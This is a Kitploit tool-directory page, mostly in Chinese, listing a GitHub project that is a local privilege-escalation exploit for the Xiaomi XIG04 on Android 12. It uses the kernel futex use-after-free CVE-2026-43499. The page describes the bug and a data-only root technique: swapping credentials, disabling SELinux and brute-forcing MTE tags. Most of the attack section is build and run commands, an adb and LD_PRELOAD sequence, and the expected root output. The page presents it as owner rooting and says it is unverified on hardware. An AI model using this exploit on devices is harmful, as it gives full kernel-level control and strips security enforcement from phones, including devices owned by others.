Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-43499-aristotle — 针对小米 XIG04(Android 12)的本地权限提升利用,通过 CVE-2026-43499 内核释放后重用漏洞。采用仅数据直接 root 技术,结合 MTE 标签暴力破解,用于设备所有者 root。 | Kitploit
工具/GitHubGitHub/soralis0912/cve-2026-43499-aristotle
Android安全权限提升漏洞利用框架漏洞分析漏洞利用移动安全二进制利用
GitHubsoralis0912/cve-2026-43499-aristotle

CVE-2026-43499-aristotle

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

针对小米 XIG04(Android 12)的本地权限提升利用,通过 CVE-2026-43499 内核释放后重用漏洞。采用仅数据直接 root 技术,结合 MTE 标签暴力破解,用于设备所有者 root。

查看仓库
3181个月前尚未审核

CVE-2026-43499 — aristotle (au/KDDI 小米 XIG04)

针对搭载Android 12的au/KDDI 小米 "aristotle" (XIG04) 的本地权限提升(tmp-root),利用CVE-2026-43499。这是一个设备所有者root原始方法:用于root你自己的手机(例如,当开发者选项无法访问时重新启用ADB)。

这是上游实现的一个aristotle 移植:https://github.com/x-spy/CVE-2026-43499-popsicle —— 该实现针对小米17 / Pro / Ultra(popsicle,骁龙,Android 16,内核 6.12.23)。漏洞利用技术的所有功劳归功于上游;此分支仅将其重新定位到不同的设备和内核版本。

适用范围:你自己运行的 XIG04
Xiaomi/XIG04_jp_kdi/XIG04:12/SP1A.210812.016/V14.0.3.0.TMFJPKD。
并非通用或远程漏洞利用。

Target

root@kitploit:~
device  : aristotle (au/KDDI XIG04), MediaTek, Android 12
kernel  : 5.10.136-android12-9-00020-gc9f59ef34367-ab9585114  (VA=39, 4K pages, KASLR)

The bug

CVE-2026-43499 是 Linux 内核 Futex-PI 路径中的一个释放后使用漏洞:在 futex_requeue() 的代理锁回滚过程中,kernel/locking/rtmutex.c 中的 remove_waiter() 操作的是 current 而非 waiter::task,留下一个悬空的 pi_blocked_on。这是一个古老且长期存在的漏洞(影响 Linux 2.6.39 – 6.18.x),因此这里的 5.10.136 内核在其影响范围内(CONFIG_FUTEX_PI=y,CONFIG_RT_MUTEXES=y)。该漏洞利用采用纯数据的“直接 root”方法(交换 cred → init_cred,翻转 SELinux 强制执行),并通过暴力破解 MTE 标签来绕过设备的安全加固(KASAN_HW_TAGS、MTE、CFI、)。

What differs from upstream (popsicle → aristotle)

  • rt_mutex_waiter 是旧的平面 5.10 布局(没有嵌套的 rt_waiter_node,没有 wake_state/ww_ctx)。source/src/{slide,fops}.c 和 source/src/util.c 中的伪造 waiter 表从 13 个词重建为 10 个词。
  • 没有 xbl_config。 KASLR 被动态击败(在 slide.c 中通过内核信息泄露);上游从高通 XBL 中获取的两个物理常量被替换为静态 DRAM 基地址(0x40000000,来自设备树)以及运行时 memstart_addr / kimage_voffset。
  • 此内核中没有 BTF,因此结构体偏移量通过反汇编恢复并注入,而不是从 BTF 读取。
  • 所有偏移量、RVA 和 KASLR 锚点都是针对这个特定内核测量的——请参见 ARISTOTLE_CVE43499_PORT.md。

Generate the target header

针对 XIG04 测量得到的 source/src/target.h 已提交,因此可以直接构建。要从 boot 镜像重新生成,请使用 aristotle 生成器(没有 --xbl-config;它会输出 memstart_addr/kimage_voffset RVA 以供动态使用):

root@kitploit:~
python3 gen_aristotle_target.py \
  --boot boot.img \
  --pselect-shift 0 \
  --loggers 0xffffffc012771380 \
  --boot-id-data 0xffffffc012886cf8 \
  --kernel-phys-load 0x40080000 \
  -o source/src/target.h

(这三个锚点和 kernel-phys-load 是已提交头文件中固定的值;有关如何获取它们,请参见 ARISTOTLE_CVE43499_PORT.md。)

Build

需要 Python 3 和 Android NDK (r29)。需要 API=31 以使载荷在 Android 12 上加载:

root@kitploit:~
make -C source clean preload API=31

如果 NDK 未自动检测到:

root@kitploit:~
NDK_ROOT=/path/to/android-ndk make -C source clean preload API=31

最终产物:

root@kitploit:~
source/build/bin/preload.so

Run

root@kitploit:~
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'

成功时:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
direct-root-summary root=1 id=1 su=1/... selinux=1->0 uid=0 euid=0 gid=0 egid=0

preload.so 在加载时会嵌入并自安装自己的 su 客户端和守护进程,因此不需要单独的 su 二进制文件。

状态:该移植从静态分析角度看代码是完整的,但尚未在硬件上验证。请先在你自己的设备上验证崩溃触发,然后再进行 root。内核特定的调优项(MM_ORDER、P0_KERNEL_PHYS_LOAD、平面 waiter 行为)列在 ARISTOTLE_CVE43499_PORT.md 中。

下载工具
SCS